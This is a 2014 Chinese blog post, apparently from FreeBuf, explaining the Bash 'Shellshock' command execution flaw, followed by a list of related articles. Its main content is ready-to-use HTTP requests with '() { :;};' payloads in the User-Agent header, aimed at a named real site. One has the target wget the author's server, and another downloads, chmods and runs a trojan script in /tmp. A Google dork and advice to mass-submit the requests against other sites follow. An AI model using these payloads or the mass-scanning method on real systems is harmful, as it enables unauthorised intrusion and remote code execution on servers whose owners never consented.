Bash远程解析命令执行漏洞测试方法

标签: WEB安全 漏洞 bash漏洞 | 发表时间:2014-09-26 14:11 | 作者:wivndf
出处:http://www.freebuf.com

从昨天开始,这个从澳大利亚远渡重洋而来的BASH远程命令执行漏洞就沸腾了整个FreeBuf,大家都在谈论,“互联网的心脏又出血了”,可是,亲,到底怎么对网站进行测试?下面这段脚本

$ env x=‘() { :;}; echo vulnerable'  bash -c "echo this is a test"

真的如各路大神们说的这样吗?

它与“心脏出血”漏洞不同,“心脏出血”只能借助窃取用户电脑信息,而bash 漏洞允许黑客远程控制电脑,拿到系统最高权限!其方法利用就更简单了——复制/粘贴一行命令代码即可!

Bash漏洞为什么能够执行

Bash漏洞的原理:

BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当前版本的bash通过以函数名作为环境变量名,以“(){”开头的字串作为环境变量的值来将函数定义导出为环境变量。

此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。

简单地说就是,Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令。

Bash漏洞与远程执行有啥联系

看到上面的解释,很多童鞋都理解成了本地的漏洞,然后很多人又觉得,本地有啥可以利用的,于是就忽略了这个神级漏洞的存在。我想说的是,这个漏洞,利用热度可以媲美当年的MS08-067,威力虽然弱了点,但远程控制电脑还是可以的。

首先解释一下cgi脚本。很多网站类似下面的链接:

GET http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1

后台不仅仅用python、Perl来解释执行并反馈给客户端Response,当然还可以换做bash脚本来解释执行提交上来的GET/POST请求。所以,理论上,你在HTTP请求中插入一个Bash命令,比如

() { :;}; wget http://www.myvps.org/testvul.sh

如果服务器的Bash解释器具有这个漏洞,那么在解释上面这这句话的时候就会执行wget请求,将一个恶意的testvul.sh文件下载到这个服务器,那为何说要放在HTTP头部呢?比如:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1 
Host: help.tenpay.com 
User-Agent: Mozilla/5.0 (X11; Ubuntu; rv:32.0) Gecko/20100101 Firefox/32.0 
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive

这是因为这个漏洞是bash解释器在解释某些特殊的变量时才可以触发的:

在于BASH处理以“(){”开头的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令

通过自定义这些参数的值为“函数环境变量”的形式,就可以触发后面的命令,恶意的客户仅需要发送特殊构造的HTTP请求就可以使服务器执行特定的命令(命令的权限和解释HTTP请求的Bash脚本环境相同)。

实际测试中,我的构造的测试请求:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1 
Host: help.tenpay.com 
User-Agent: () { :;}; /usr/bin/wget http://myvps.org/remember_client_ip.php
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive

过程是这样的:

我发送GET请求–>目标服务器cgi路径

目标服务器解析这个get请求,碰到UserAgent后面的参数,Bash解释器就执行了后面的命令

目标服务器wget–>我的myvps.org

我的vps记录下这个访问的IP地址

然后查看我的myvps.org服务器的访问记录,就可以确定目标有没有去访问,如果访问了,那么,很好,它是有漏洞的。下面是我的VPS接收到的wget请求访问的日志:

大神是这样测试漏洞的

当然,你也可以这样构造:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1 
Host: help.tenpay.com 
User-Agent: () { :;}; /usr/bin/wget -O /tmp/muma.sh   ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive

实际上执行了下面三句:

/usr/bin/wget -O /tmp/muma.sh  http://myvps.org/muma.sh ;
chmod 777 /tmp/muma.sh; 
./tmp/muma.sh

你会发现,脚本就执行了,这就是Bash漏洞利用测试的精髓。

当然,你可以利用批量Google搜索:

filetype:cgi inurl:cgi-bin site:jp

然后批量提交类似的GET请求,你就能做到批量测试了。测试表明,500个url里有6-8个有bash漏洞

相关 [bash 解析 命令] 推荐:

Bash远程解析命令执行漏洞测试方法

- - FreeBuf.COM
从昨天开始,这个从澳大利亚远渡重洋而来的BASH远程命令执行漏洞就沸腾了整个FreeBuf,大家都在谈论,“互联网的心脏又出血了”,可是,亲,到底怎么对网站进行测试. 真的如各路大神们说的这样吗. 它与“心脏出血”漏洞不同,“心脏出血”只能借助窃取用户电脑信息,而bash 漏洞允许黑客远程控制电脑,拿到系统最高权限.

高效操作Bash

- Eneri - 极限手指
我们在平常工作中大量使用linux, 而使用linux的过程中操作Bash更是非常之频繁, 所以怎样高效的操作Bash是一个非常重要的问题. 下面我结合自己的经验总结一下高效操作Bash的一些技巧. 1 快捷键 1.1 注意. 2 历史扩展 2.1 概念. 2.2 事件指示器(Event Designators).

bash下利用trap捕捉信号

- Lan - 淘宝共享数据平台 tbdata.org
我在之前的文章里写了myisam读数据压缩的情况,最近决定把它用在生产环境上,所以避免不了写一个“安全”的处理脚本放在DB服务器上,这就引入了本文所讨论的话题. 我希望这个bash脚本在退出的时候做一些事情,包括:. 它启动的切到后台的job需要被杀死;. 在这个脚本里我用到了trap这个命令,关于它,你可以man一下,我这里就不啰嗦了.

处理Apache日志的Bash脚本

- guoan - 阮一峰的网络日志
去年一年,我写了将近100篇网络日志. 现在这一年结束了,我要统计"访问量排名",看看哪些文章最受欢迎. (隆重预告:本文结尾处将揭晓前5名. 以往,我用的是AWStats日志分析软件. 它可以生成很详细的报表,但是不太容易定制,得不到某些想要的信息. 所以,我就决定自己写一个Bash脚本,统计服务器的日志,顺便温习一下脚本知识.

Bash脚本15分钟进阶指导

- - 外刊IT评论网
这里的技术技巧最初是来自谷歌的“Testing on the Toilet” (TOTT). 我的所有bash脚本都以下面几句为开场白:. 这样做会避免两种常见的问题:. 引用未定义的变量(缺省值为“”). 需要注意的是,有些Linux命令的某些参数可以强制忽略发生的错误,例如“mkdir -p” 和 “rm -f”.

[转]休息五分钟,学几个bash快捷键

- 王者自由 - C++博客-首页原创精华区
停下手里活,学点一举两得的小技能,保证五分钟搞定. Ctrl-A 相当于HOME键,用于将光标定位到本行最前面. Ctrl-E 相当于End键,即将光标移动到本行末尾. Ctrl-B 相当于左箭头键,用于将光标向左移动一格. Ctrl-F 相当于右箭头键,用于将光标向右移动一格. Ctrl-D 相当于Del键,即删除光标所在处的字符.

[转]Bash Shell 快捷键的学习使用

- SotongDJ - OwnLinux.cn
大量在时候在使用 bash shell 的时候,熟悉快捷键是多么爽的一件事. 刚刚无意在 Fenng 哥的博客上看到了一篇关于 bash shell 快捷键的文章,总结得相当好.

Bash漏洞批量检测工具与修复方案

- - FreeBuf.COM
Linux官方内置Bash中新发现一个非常严重. 安全漏洞 ,黑客可以利用该Bash漏洞完全控制目标系统并发起攻击. Bash远程命令执行漏洞(CVE2014-6271)检测脚本. 作者:ziwen(dn8.net团队). 运行环境:python 2.7‍ ‍. 脚本会将结果回显出来 如果存在漏洞的话还会把passwd文件保存在以目标域名+output命名的txt文档里,不成功不保存.

威胁远胜“心脏出血”?国外新爆Bash高危安全漏洞

- - FreeBuf.COM
这几天Linux用户们可能不能愉快地玩耍了,红帽(Redhat)安全团队昨天爆出一个危险的Bash Shell漏洞. 其带来的威胁可能比早前披露的“心脏出血”漏洞更大更强. [OpenSSL心脏出血漏洞全回顾]  http://www.freebuf.com/articles/network/32171.html.

Linux wget命令

- - CSDN博客推荐文章
wget是linux最常用的下载命令, 一般的使用方法是: wget + 空格 + 要下载文件的url路径. 例如: # wget  http://www.linuxsense.org/xxxx/xxx.tar.gz. 简单说一下-c参数, 这个也非常常见, 可以断点续传, 如果不小心终止了, 可以继续使用命令接着下载.